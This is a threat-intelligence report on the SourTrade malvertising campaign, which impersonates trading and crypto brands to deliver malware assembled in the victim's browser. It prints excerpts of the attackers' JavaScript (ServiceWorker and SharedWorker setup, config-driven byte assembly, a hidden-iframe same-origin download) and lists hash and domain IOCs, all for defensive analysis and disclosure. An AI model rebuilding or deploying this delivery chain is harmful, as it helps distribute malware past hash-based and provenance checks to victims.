SourTrade: Browser-Assembled Malware Delivered Through Malvertising
How a persistent malvertising campaign impersonates trusted trading and cryptocurrency brands to assemble unique malware inside the browser.
Executive Summary
SourTrade is a malvertising operation that has been running ads since late 2024, impersonating TradingView, Solana, and Luno to reach retail traders and crypto investors across 12 countries in 25 languages. It is built to separate real targets from analysts and bots. Security researchers see a blank page, legitimate victims see a convincing replica of a platform they trust.
What makes SourTrade technically distinct is what happens on its landing page. It does not distribute finished malware. Instead, it delivers assembly instructions to the victim’s browser, retrieves a clean legitimate file from separate infrastructure, and directs the browser to build the final malware in memory on the victim’s machine. No finished malware ever exists on the network.
This design defeats file fingerprinting, the most widely deployed detection technique in the industry by construction. Security tools see only clean components. Network logs record a legitimate-looking download. The full attack is only visible when the entire execution chain is examined, which this paper documents in detail.
SourTrade Ad Campaigns
Active since: Late 2024
Programmatic Ads Targeting: Japan, Thailand, South Korea, Taiwan, Hong Kong, Bolivia, Brazil, Nigeria, Turkey (Türkiye), South Africa, Australia, and Great Britain
SourTrade is a persistent, large-scale malvertising cluster that primarily targets APAC and LATAM. The actors deploy display ads in English and the local language of the GEO targeted ads. Its objective is to deliver victims to its sites which impersonate legitimate cryptocurrency and trading platforms. Three distinct brand impersonations have been documented to date: LUNO, Solana, and TradingView.
SourTrade Ad Brand Impersonation
SourTrade ads use a cloaking kit on their landing pages. Cloaking kits are designed to separate bot/analyst traffic from victim traffic. Kits fingerprint visitors to identify whether they look like valid victims before delivering a malicious money page. Others see a non-malicious white page.
Money Pages
White Pages
By mixing a top-tier charting tool (TradingView) with a major layer-1 crypto network (Solana) and a localized fiat-to-crypto gateway (Luno), the attackers cast a wide net. They successfully target the entire lifecycle of a modern retail trader: the person analyzing the markets, the person investing in blockchain ecosystems, and the person cashing out or holding assets on an exchange.
There is also direct landing page evidence supporting Bitdefender’s article on this cluster which states the malvertising activity operates across Google and Meta ecosystems. We witnessed that the malicious page contained Google Ads configuration and conversion logic, Meta/Facebook pixel calls and related beacons, and Twitter/X pixel loading and event logic. This indicates that this cluster may abuse all three platforms’ advertising products.
Technical Analysis
SourTrade’s money pages are where their most advanced capabilities are shown. Their money pages create a unique download flow and use the browser to modify a clean file into its final malicious one.
Malware Download Flow at a Glance
Before the detailed walkthrough, the short version is this: the landing page does not download one finished malware file from a single URL. Instead, it turns the browser into a local assembly pipeline.
Stage 1. The page first prepares the delivery path by registering a ServiceWorker for streamed file delivery and instantiating a SharedWorker from embedded JavaScript.
Stage 2. The SharedWorker requests ‘/config’ and receives build instructions rather than a finished executable: a template, a runtime URL, and per-session random values.
Stage 3. The browser fetches a clean Bun runtime from the supplied ‘standaloneUrl’, combines it with delivered blobs and locally generated AES-CTR bytes, and assembles the final executable in memory.
Stage 4. The assembled stream is then handed back to the browser through a same-origin ServiceWorker download path.
Malware Download Flow Analysis
Stage 1: The Money Page Sets Up the Delivery Path
Without clicking download, the landing page’s React JavaScript prepares the browser for a managed download flow. The first important step is ServiceWorker registration and keep-alive handling. A ServiceWorker is a browser script that can sit between the page and network-like browser events, including fetch handling and streamed responses.
if (!(”serviceWorker” in navigator)) {
// The flow depends on SW interception for streamed download delivery.
throw new Error(”Service workers are not supported”);
}
// Register the page-scoped worker that will later serve the attachment response.
await navigator.serviceWorker.register(”/sw.js”, { scope: “/” });
// Wait until an active worker is controlling this origin context.
await navigator.serviceWorker.ready;
// Keep the stream channel alive for long-running writes.
setInterval(() => controller.postMessage({
type: “streamsaver:ping”
}), 25000);The service worker registers ‘sw.js’ which keeps an in-memory map of download streams, receives open/abort/ping messages from the page, and intercepts same-origin fetches to return the assembled stream as an attachment.
Next, the page sets up a SharedWorker which retrieves a JavaScript blob embedded inside the page’s React JS.
var tH = class extends SharedWorker {
constructor(tO, o0) {
// Build a worker from in-memory JavaScript text instead of a fetched worker URL.
// tO is the embedded worker source string (tJ in the pages React JS).
super(URL.createObjectURL(new Blob([tO], { ‘type’: “application/javascript” })), o0);
// Route messages from the SharedWorker port to the pages’s handler.
this.port.onmessage = this.handleMessage.bind(this);
}
};This embedded code is used to retrieve and modify the components received in stage 2 into the final malware file.
Stage 2: ‘/config’ Returns Instructions, Not the File
With victim fingerprinting details attached, the landing page uses its SharedWorker to request itself for a ‘/config’ response. This response has the instructions required to build the final file. This response includes a session-specific random seed and size, a ‘template’ array, and a ‘standaloneUrl’.
A URL defanged and truncated ‘/config’ response:
{
“random”: {
“seed”: “w3q8pSVQ4YCSsRg6GUI7bQ==”,
“size”: 665136399
},
“template”: [
“TVp4AAEAAAAE...”,
[0, 1024, 114954254],
[1, 145, 665136254]
],
“standaloneUrl”: “https://purelogicbox[.]org/static/AAAA...zo.exe”
}The template inside the ‘/config’ response is used to create:
A byte stream from a locally generated AES-CTR stream.
Literal base64 blobs that are decoded and written directly into the Bun runtime, including the PE header, section table, and malicious ‘.bun’ section bytes.
A URL source from its secondary domain which is used to fetch the clean Bun runtime.
AES-CTR is a cryptographic stream cipher. Here this cipher is used to generate a pseudorandom byte stream from the server-provided seed and size. The actors rotate the ‘/config’ responses seed and size so the stream becomes a unique source of data for the final file. This results in unique executable hashes. A technique commonly used to avoid static hash-based detection.
‘/config’ is an assembly response rather than a normal download response. It returns a template and the inputs the browser needs to build the file locally. This design also gives the operator flexibility. SourTrade can change the compiled JavaScriptCore payload on the fly.
Stage 3: The Browser Builds the Executable
This is where the victim’s browser begins to combine the remote components and locally generated bytes to alter the clean Bun executable into malware.
let r = await R, i = [await U(r.standaloneUrl)]; // Fetch and decompress(gunzipped) the clean Bun runtime stream
if (r.random) {
let s = I(r.random.seed, r.random.size); // Generate the per-victim AES-CTR stream
i.push(s);
}
let a = new h(r.template); // Assemble runtime bytes, C2-delivered .bun/JSC bytes, and generated bytes by template order
return a.start(i), a.readable; // Expose the assembled executable as a ReadableStreamThis small block is the core of the assembly of the final malware. ‘U()’ retrieves the Bun runtime named in ‘standaloneUrl’. ‘I()’ generates the session-specific AES-CTR stream from the random values. The ‘h’ class then walks the ‘template’ array and pulls bytes from each source in the order defined by the response.
How The Malware is Assembled
The Bun runtime provides the clean interpreter engine. The AES-CTR stream adds a session-specific source of generated bytes. The base64 blobs delivered in ‘/config’ provide the actor-controlled executable structure and payload material: the PE header and section table in entries 00-03, and the ‘.bun’ PE section in entries 07-36.
The template pulls selected ranges from those streams and combines them with delivered PE and ‘.bun’ section bytes to produce the final binary. In other words, the browser is not just downloading pieces. It is following assembly instructions. It is best to think of the template as a byte-copy recipe. The browser walks the list from left to right. Literal entries are decoded and written directly into the output.
Some of those copied ranges line up with meaningful PE structures. The template defines which bytes to write, and in what order, to produce the final file. The opening C2-delivered blobs provide the PE header and section table, large copy operations pull in the clean Bun interpreter, later delivered blobs provide the ‘.bun’ PE section, and another large copy operation adds the pseudorandom bytes.
That ‘.bun’ section is the actor’s payload container. This holds malicious JavaScriptCore bytecode for ‘app.js’. When the assembled file runs, the Bun interpreter engine executes that embedded bytecode.
Bitdefender also mentions a modified Bun executable from this cluster. The same core Bun-standalone characteristics described in Bitdefender’s were inside their September 2025 analysis. We have seen SourTrade continue this activity throughout 2026.
Stage 4: Creating Same-Origin Browser URL Which Contains Elements From a Remote Source
Once the assembled stream containing the final malware executable is ready, the page hands it to the stage 1 registered ServiceWorker and triggers a same-origin download path. From the browser’s point of view, the user is downloading an executable from the landing page domain.
The following JavaScript creates the same-origin URL; the code below registers that URL as a hidden iframe within the page:
function tR(filename) {
// Construct a same-origin URL
return new URL(’/’ + encodeURIComponent(filename), window.location.origin).toString();
}
function tm(url) {
// Hidden iframe navigation triggers the browser-managed download path.
let iframe = document.createElement(”iframe”);
iframe.style.display = “none”;
iframe.src = url;
document.body.appendChild(iframe);
}The ServiceWorker then stores the stream and returns the newly assembled malware to the browser as an attachment using the following code:
case “streamsaver:open”: {
// Associate requested URL with the in-memory stream produced by the page.
streams.set(data.url, data.stream);
// Acknowledge successful registration over MessagePort.
event.ports[0]?.postMessage({ ok: true });
break;
}
const response = new Response(stream, {
headers: {
// Generic binary content type for executable stream delivery.
“Content-Type”: “application/octet-stream; charset=utf-8”,
// Force attachment semantics with UTF-8 filename support.
“Content-Disposition”:
“attachment; filename*=UTF-8’‘” + fileName
}
});Following the execution of this code the malware delivery is complete. The page derives a same-origin download URL, opens a stream-backed writer, and registers the readable side of that stream with the ServiceWorker under that URL via ‘streamsaver:open’. This triggers hidden-iframe navigation to the same URL. This then writes the assembled bytes into the writer, the ServiceWorker answers the browser’s resulting same-origin fetch with those streamed bytes as an attachment response.
The Stage 4 code’s intended function is for the browser to see a safe looking same-origin download. Downloading a file from the same-source/domain is normal. The malicious file created by the browser on the landing page records its Mark of the Web/MotW signature as a same-source URL. Although part of its components were received from its secondary domain. Which is not recorded in the MotW signature.
SourTrade’s Previous MotW Manipulation
SourTrade’s earlier variants which we tracked through April 30, 2026 produced a different pattern of MotW artifacts. In a downloaded sample, the recorded MotW download path would point to the GitHub-hosted StreamSaver helper URL, in one of our cases its MotW signature pointed to the following URL:
https://jimmywarting[.]github.io/StreamSaver.js/nwitassistnow.com/081344/installer.exeBitdefender also documented this StreamSaver.js-based TradingView threat in its September 2025 reporting named “The Scam That Won’t Quit: Malicious “TradingView Premium” Ads Jump from Meta to Google and YouTube”. In the current version analyzed in detail here (post April 2026 activity), SourTrade no longer relies on a GitHub hosted StreamSaver URL.
Why SourTrade is Different
The landing page, the ‘/config’ byte source, the clean executable modification, and the final assembled malware download are all part of the same delivery chain, but they do not show up equally clearly in review systems, browser artifacts, or network logs.
The practical implications are:
Each victim can receive a different assembled file, which limits the value of simple hash-based detections.
The executable that is downloaded inside a SourTrade network log is clean. Reviewing it without the browser modification would be misleading.
Reviewing any single component of their download-flow in isolation can miss how the chain works end to end.
Conclusion
With SourTrade, the browser creates the final delivery environment. The landing page retrieves build instructions from ‘/config’, fetches a clean Bun runtime from separate infrastructure, generates additional bytes locally, assembles the final Windows executable in memory, and delivers this through a ServiceWorker-controlled same-origin download path.
This design gives the operators some advantages. It avoids exposing one stable malware binary over the network and produces output that can vary by victim or session.
Artifacts in the landing page indicate it is a widespread malvertising operation. The malicious landing page contains attribution and tracking logic for Google Ads, Meta/Facebook, and Twitter/X, indicating that the operators can measure and optimize victim traffic across multiple advertising ecosystems.
The evolving characteristics of SourTrade support the conclusion that it is a persistent malvertising threat cluster active since 2025. The delivery path has changed over time, but the shared executable structure, browser-side assembly model, and new landing pages indicate an operation which continues to adapt.
SourTrade Malware SHA256 Hash IOC
9a29d26b94b708830c6eaea8a6c17616ec677adaf09114190d0e129564b2ca1b
05c0d056a6b3e76736d4f378541d28f24ecdf40060eeed24d8aa283d2f0120f6
ad542ed44df306bdcbb022ae210da74abad74e978cc1e3992016976282f31976SourTrade Domain IOC
noxani.info
greensite.digital
yuntaro.digital
nexlisa.info
vashiro.info
campainter.digital
riovera.info
lunavo.club
hanzoa.digital
authcom.digital
fererro.digital
zythera.info
angelxc.digital
toushere.digital
auronix.digital
quorivamesh.digital
junora.digital
savanhe.digital
tenderi.digital
dexarionrte.info
zuvex.digital
minaro.club
praxnova.info
zuvex.club
kalviorix.info
thaivex.digital
form-engine.digital
solventa.club
form-networktool.digital
electmu.digital
zenovapc.site
qumoro.site
insightcores.digital
pulsewave-glow.digital
ignite-spark.digital
riberaz.com
polvexa.site
viewsafc.online
insightmetrix.digital
webnity.site
cirevia1.digital
tvviewreach.digital
alteira.digital
dalasu.digital
parixaxj.com
trustconnect.digital
torvianet.site
nebive.site
forecastlogiccore.digital
netkorava.digital
forecasthub.digital
dotlor.site
koravaje.digital
signalmetrics.digital
forecastbridge.digital
lakorava.digital
pustou.site
insightorbithub.digital
dataroutehub.digital
datasyncengine.digital
forecastdeltaflow.digital
forecastlogicflow.digital
metricforge.digital
forecastpulsegrid.digital
robejj.com
predictcore.digital
dataplanehub.site
oneclickme.site
prolega.site
nameprod.site
transoe.site
orientstrategypartners.digital
beamoramag.digital
beammaybea.digital
urbanleafy.info
brightmosaic.info
forthlira.digital
sobeamora.digital
topbeamora.digital
mortarora.digital
lunarohub.info
worldsol.site
mindflowbase.info
insight-radiant.digital
nordexastudio.info
cognitionpipeline.digital
cognitionnodehub.digital
acuitycore.digital
radiantsynaptic.digital
sapience-flare.digital
engineclaritynode.digital
flare-hub.digital
beacon-net.digital
brainyclevercore.digital
syscodeapi.digital
asiadataintelligencelab.digital











